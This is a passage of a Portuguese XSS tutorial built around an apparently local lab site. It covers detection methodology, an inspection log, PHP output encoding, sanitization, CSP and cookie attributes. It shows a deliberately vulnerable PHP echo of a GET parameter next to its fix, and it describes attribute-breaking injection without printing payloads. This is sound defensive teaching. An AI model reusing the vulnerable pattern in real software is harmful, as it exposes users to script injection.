Na FatecCorp, as execuções registradas mostram que os exemplos específicos não foram impedidos naquela navegação. Isso não equivale a uma auditoria completa de cabeçalhos, versões, extensões ou todas as políticas possíveis. Uma falha de conexão com o receptor também não provaria que a falha de XSS foi corrigida.

5.7 Consequências além de alertas

ImpactoCondição técnica relevante
Exposição de dados e confidencialidadeCódigo pode ler conteúdo acessível à página e tentar transmiti-lo, sujeito a políticas de execução e rede.
Manipulação da interfacePode alterar textos, links e campos, afetando decisões do usuário e a integridade do que é exibido.
Ações na sessãoRequisições elegíveis podem carregar cookies automaticamente. Autorizações do servidor continuam delimitando as ações possíveis.
Possível comprometimento de sessãoDepende da exposição de credenciais ou identificadores utilizáveis, da validade da sessão e de controles adicionais. Não é consequência automática.
Maior alcance do conteúdo persistidoDepende de quem visualiza a saída vulnerável, quando isso acontece e com quais privilégios.

As demonstrações locais comprovam capacidade de execução ou alteração visual. Não comprovaram acesso privilegiado, reutilização de sessão, exfiltração real ou comprometimento de contas. Essa distinção permite avaliar o risco sem substituir evidência por suposição.

Módulo 06

Como identificar vulnerabilidades XSS

6.1 Uma metodologia baseada em evidências

Em sistemas autorizados, a análise começa pelo caminho dos dados, não por uma coleção de strings. Um marcador alfanumérico único permite localizar reflexões sem introduzir comportamento ativo. Depois, a estrutura ao redor do marcador revela quais delimitadores e regras do parser importam. Apenas então um efeito inofensivo pode comprovar execução.

  1. Mapear entradas reais. Ler formulários, nomes dos campos, action, method, campos ocultos e parâmetros existentes. News expôs busca e page; Contact expôs name, email, company e message.
  2. Entender o transporte. Em GET, examinar a consulta da URL. Em POST, conferir o corpo e o Content-Type. URL encoding é transporte, não escape HTML.
  3. Localizar a saída. Procurar o marcador na resposta recebida e verificar todas as ocorrências, não só a primeira. Na News, ele apareceu no value e em dois elementos strong.
  4. Classificar cada contexto. Texto entre tags, atributo entre aspas, URL e conteúdo de script exigem tratamentos diferentes. Anotar delimitadores e elementos adjacentes.
  5. Verificar recuperação posterior. Para conteúdo armazenado, abrir a visualização sem reenviar a entrada. Em Contact, uma nova visita após apagar cookies recuperou o marcador.
  6. Confirmar interpretação. Registrar um efeito controlado: chamada de função, mensagem nova no Console ou alteração de propriedade. Relacionar o efeito à entrada e à navegação corretas.
  7. Documentar limites. Distinguir observação do navegador, indicação da interface e implementação não inspecionada. Corrigir a saída e repetir a mesma verificação para avaliar a correção.

6.2 Ferramentas do navegador

FerramentaPergunta que respondeRelação com a FatecCorp
NetworkQual método, URL, corpo, resposta e política foram recebidos?O envio da busca é GET; Contact é POST. Examinar Payload/Form Data e Response, sem copiar cookies ou tokens para relatórios.
View Source / código-fonteO que veio no documento HTML antes das alterações feitas por scripts?Localiza value e conteúdo de strong. Em respostas POST, preferir também Response em Network para evitar confundir uma nova navegação com a resposta original.
ElementsComo o parser construiu a árvore e quais atributos estão ativos agora?Confirma onfocus e autofocus criados no input busca; mostra o script recuperado no div do mural.
ConsoleHouve efeito de execução, erro de sintaxe ou bloqueio por política?Mostrou XSS executado e Payload persistente executado. Filtrar mensagens e distinguir registros anteriores é essencial.

Elements mostra o estado atual, que pode ter sido corrigido pelo parser ou modificado por código; não é uma cópia byte a byte da resposta. Um efeito causado por um comando digitado manualmente no Console também não comprova que o servidor refletiu ou armazenou um payload. A origem da execução deve ser a entrada examinada.

6.3 Recebido, refletido, armazenado e executado

EstadoEvidência suficiente para esse estadoO que ainda não prova
RecebidoA entrada consta da requisição e há evidência de processamento correspondente.Que ela será exibida ou interpretada como código.
RefletidoA entrada reaparece na resposta da requisição.Que a saída seja executável; pode estar corretamente codificada.
ArmazenadoO valor é recuperado depois, sem ser reenviado na requisição atual.Qual tecnologia o guarda, nem se há execução.
ExecutadoUm efeito atribuível ao código injetado foi observado no navegador.Qualquer consequência adicional, como acesso administrativo ou coleta de sessões.

6.4 Registro consolidado da inspeção

Ponto analisadoResultado e alcance
News: formulárioGET index.php, page=pages/news.php, busca. Confirmado por HTML e navegador.
News: reflexãoMarcador em value e dois strong; script e eventos foram interpretados em contextos ativos.
News: payloads 1–9Chamadas instrumentadas de alert, Console, título e estilo confirmados conforme cada exemplo.
News: atributoQuebra de value, criação de onfocus/autofocus e chamada correspondente confirmadas.
Contact: envioPOST na própria rota; mensagem fictícia apareceu no mural. Banner de confirmação específico não registrado.
Contact: persistênciamessage reapareceu e o Console executou em nova navegação após apagar cookies.
Contact: limitesOutros cinco payloads armazenados, painel restrito, banco e demais campos não foram testados quanto a execução.
Cookies e receptorSem coleta real, sem envio de document.cookie e sem teste do receptor. Exemplos desta apostila são conceituais.

A inspeção foi feita com Chromium automatizado por Selenium. A tentativa inicial de usar Playwright não funcionou por ausência de seu driver; isso não impediu a análise no navegador disponível. As capturas incluídas são reais, recortadas para mostrar apenas conteúdo didático. Não foram utilizados o reset global do mural nem credenciais administrativas.

Módulo 07

Prevenção e correção de XSS

7.1 Codificação de saída: preservar o significado de dado

Codificar a saída significa transformar caracteres que têm função sintática naquele contexto em representações de dados. Para texto HTML e valores de atributos comuns delimitados por aspas, PHP oferece htmlspecialchars. O tratamento deve ocorrer no momento da apresentação; validar a entrada continua útil para regras de negócio, mas não substitui a proteção da saída.

PHP · somente leitura
htmlspecialchars(
    $valor,
    ENT_QUOTES | ENT_SUBSTITUTE,
    'UTF-8'
);

ENT_QUOTES inclui aspas simples e duplas no tratamento. ENT_SUBSTITUTE substitui sequências inválidas de caracteres, evitando falhas de representação; não é uma função de validação de negócio. UTF-8 declara a codificação esperada, que deve estar alinhada à resposta. A função devolve uma string: é necessário usar esse retorno na saída.

Caractere de entradaRepresentação HTML típicaResultado visual
&&amp;Um & literal.
<&lt;Um < literal, não início de tag.
>&gt;Um > literal.
"&quot;Uma aspa dupla dentro do dado.
'&#039;Uma aspa simples; a entidade concreta depende das opções de tipo de documento.

Codificar duas vezes pode produzir texto como &lt; na interface. Por isso a aplicação deve ter uma política consistente de armazenamento e apresentação: em geral, preservar dados como dados e codificar para cada destino. Não remover a proteção para “consertar” entidades exibidas sem entender onde ocorreu a dupla codificação. Referência: manual oficial de htmlspecialchars.

7.2 Código vulnerável e versão corrigida

PHP · vulnerável em saída HTML · somente leitura
<?php
echo $_GET['nome'];
?>

A versão vulnerável escreve diretamente um parâmetro controlável na resposta. Se estiver em texto HTML, a entrada pode criar marcação; se o parâmetro faltar, também há um problema de robustez. O nome nome é ilustrativo e não corresponde a um parâmetro observado na News.

PHP · corrigido para saída em texto HTML · somente leitura
<?php
echo htmlspecialchars(
    $_GET['nome'] ?? '',
    ENT_QUOTES | ENT_SUBSTITUTE,
    'UTF-8'
);
?>

O operador ?? fornece uma string vazia quando o parâmetro está ausente ou é nulo. A função transforma os caracteres relevantes antes do echo; a entrada passa a ser mostrada como texto. Este exemplo pressupõe valor escalar do tipo string: uma aplicação robusta também deve rejeitar formatos inesperados, como um parâmetro recebido como array. A correção não é genérica para inserir conteúdo em JavaScript ou em atributos de evento.

7.3 Aplicação da correção aos contextos observados

PHP/HTML · proposta didática, não alteração aplicada à FatecCorp · somente leitura
<?php
$busca = $_GET['busca'] ?? '';
if (!is_string($busca)) {
    $busca = ''; // Política ilustrativa para formato inesperado.
}
$buscaHtml = htmlspecialchars(
    $busca, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'
);
?>
<input type="text" name="busca" value="<?= $buscaHtml ?>">
<strong><?= $buscaHtml ?></strong>

A mesma entrada da News é exibida em texto HTML e em um atributo comum com aspas. Nesses dois pontos, essa codificação é adequada. É necessário aplicá-la a todas as ocorrências, inclusive ao segundo strong identificado. O template mantém fixos o nome do elemento e o nome do atributo; não permite que o usuário escolha um handler.

Para Contact, o conteúdo recuperado de message deve receber proteção equivalente antes de aparecer no div se o produto pretende aceitar apenas texto. A regra também vale para nomes e empresas exibidos, mesmo que esses campos não tenham sido testados com payload. O formato de armazenamento e os nomes internos de variáveis PHP não foram inspecionados, portanto não se apresenta um patch fictício do servidor.

Contexto de saídaTratamento adequadoArmadilha comum
Texto HTMLEscape HTML, como htmlspecialchars, ou API textContent quando houver manipulação legítima de texto no cliente.Concatenar a entrada como HTML.
Atributo HTML comumNome fixo e seguro, valor entre aspas e escape de aspas e caracteres HTML.Presumir que o escape torna seguro um atributo onfocus: ele contém código.
URL em href ou srcValidar esquema e destino permitidos, codificar componentes da URL e aplicar escape HTML ao inserir em atributo.Confundir encodeURIComponent com validação; uma URL javascript: exige rejeição, não só escape.
Strings JavaScriptPreferir separar dados do código e usar serialização JSON apropriada ao canal de entrega.Usar htmlspecialchars como escape JavaScript ou concatenar dados em script inline. Até dados serializados exigem cuidado com o fechamento do elemento script.
HTML formatadoSanitizador mantido, com lista de elementos, atributos e protocolos permitidos.Usar regex, remover apenas script ou confiar em conteúdo já salvo.

Comentários HTML, nomes de tags, nomes de atributos e atributos de evento são destinos especialmente inadequados para dados arbitrários. A opção mais segura é reorganizar a construção da interface para manter dados em posições de texto. Escape automático de templates ajuda, mas precisa corresponder ao contexto real; marcações “safe” ou equivalentes podem desativá-lo.

7.4 Sanitização quando o produto aceita formatação

Codificação de saída faz a marcação aparecer como texto. Sanitização analisa HTML e conserva somente a estrutura autorizada — por exemplo, parágrafos e negrito — retirando elementos, atributos e protocolos perigosos. A escolha depende do requisito: uma mensagem simples não precisa aceitar HTML; um editor rico pode precisar de um subconjunto seguro.

Um sanitizador confiável deve compreender o parser e as regras das URLs, acompanhar atualizações de segurança e ser configurado para o caso de uso. Uma biblioteca mantida, como DOMPurify no ambiente apropriado, é uma referência possível, não uma dependência deste tutorial. Alterar o HTML depois da sanitização pode reintroduzir risco. A aplicação também precisa considerar o conteúdo antigo quando modifica a política.

7.5 Content Security Policy como defesa adicional

HTTP · política ilustrativa, exige adaptação à aplicação · somente leitura
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'; object-src 'none'; base-uri 'self'

A política exemplifica scripts e imagens limitados à mesma origem, bloqueio de objetos e restrição de base URI. Sem permissões adicionais, scripts inline e handlers dos exemplos tendem a ser bloqueados. Para scripts inline legítimos, nonces imprevisíveis por resposta ou hashes podem autorizar trechos específicos; adicionar indiscriminadamente unsafe-inline enfraquece essa proteção.

Não basta permitir “qualquer arquivo do próprio site” se o site também hospeda conteúdo não confiável executável. CSP deve ser planejada, observada e implantada considerando os recursos necessários. Content-Security-Policy-Report-Only permite avaliar violações sem bloquear, mas não equivale à política aplicada. A configuração de cabeçalho pertence à aplicação ou ao servidor, não ao texto de uma página Moodle.

Uma CSP que restrinja img-src pode bloquear o receptor do exemplo mesmo se houver execução por outra via. Isso é contenção de um caminho de saída, não correção da concatenação insegura. Consulte a documentação de CSP da MDN.

7.6 Sessões e desenvolvimento seguro

Cookies de sessão devem combinar atributos apropriados, transporte HTTPS e gerenciamento de sessão: expiração, renovação quando necessário e invalidação no servidor. HttpOnly reduz leitura de identificadores; Secure protege seu envio no transporte; SameSite limita certos contextos entre sites. Nenhum desses atributos substitui a proteção dos pontos de saída.

A OWASP XSS Prevention Cheat Sheet organiza as recomendações por contexto. Bloquear uma lista de palavras ou confiar que um campo “não deveria receber HTML” deixa a decisão de interpretação nas mãos do navegador.

Módulo 08

Comparação geral

CaracterísticaReflected XSSStored XSS
OrigemEntrada refletida da requisição atual.Conteúdo persistido e recuperado.
ArmazenamentoNão é necessário para a execução.Existe persistência entre envio e recuperação.
ExecuçãoNavegador que interpreta a resposta vulnerável.Navegador que visualiza o conteúdo recuperado.
Exemplo no laboratórioNews: parâmetro busca.Contact: message no mural público.
MomentoAo receber a resposta que reflete a entrada.Ao exibir o conteúdo armazenado; pode incluir a resposta ao envio.
AlcanceDepende da exposição à entrada e à resposta.Pode atingir quem visualizar o conteúdo vulnerável.
Contextos vulneráveisTexto HTML e atributo value confirmados na News.Conteúdo de div confirmado no mural.
ImpactosDependem de contexto, dados, privilégios e defesas.Dependem dos mesmos fatores, além da exposição das visualizações.
ProteçãoTratamento contextual em cada ponto de saída.Tratamento contextual em cada recuperação e sanitização se HTML for permitido.

Nenhuma categoria é sempre mais perigosa que a outra. Uma reflexão em uma área sensível pode causar mais impacto que uma mensagem persistente pouco acessada; o inverso também é possível. O que muda é o caminho pelo qual a entrada chega à visualização. O problema técnico comum é atribuir significado de código a dados não confiáveis.

Módulo 09

Referências técnicas

Links oficiais consultados em 27/10/2026. As referências aprofundam os conceitos; as confirmações específicas da FatecCorp vêm da inspeção local descrita nos módulos 3, 4 e 6.

  1. OWASP — Cross Site Scripting Prevention Cheat Sheet — Codificação contextual, sanitização e defesa em profundidade.
  2. OWASP — Web Security Testing Guide — Metodologia de identificação e registro de evidências em testes autorizados.
  3. PortSwigger Web Security Academy — Cross-site scripting — Conceitos e distinção entre formas de entrega de payloads.
  4. MDN Web Docs — JavaScript — Referência de linguagem para compreender chamadas, valores e expressões.
  5. MDN Web Docs — Using HTTP cookies — Funcionamento de cookies e atributos de segurança.
  6. MITRE — CWE-79 — Classificação da neutralização inadequada de dados na geração de páginas.
  7. PHP — htmlspecialchars — Semântica da função, parâmetros e opções de codificação.
  8. MDN — Content Security Policy — Diretivas e limites de execução e carregamento de recursos.
  9. MDN — Mixed content — Restrições a recursos HTTP em páginas HTTPS.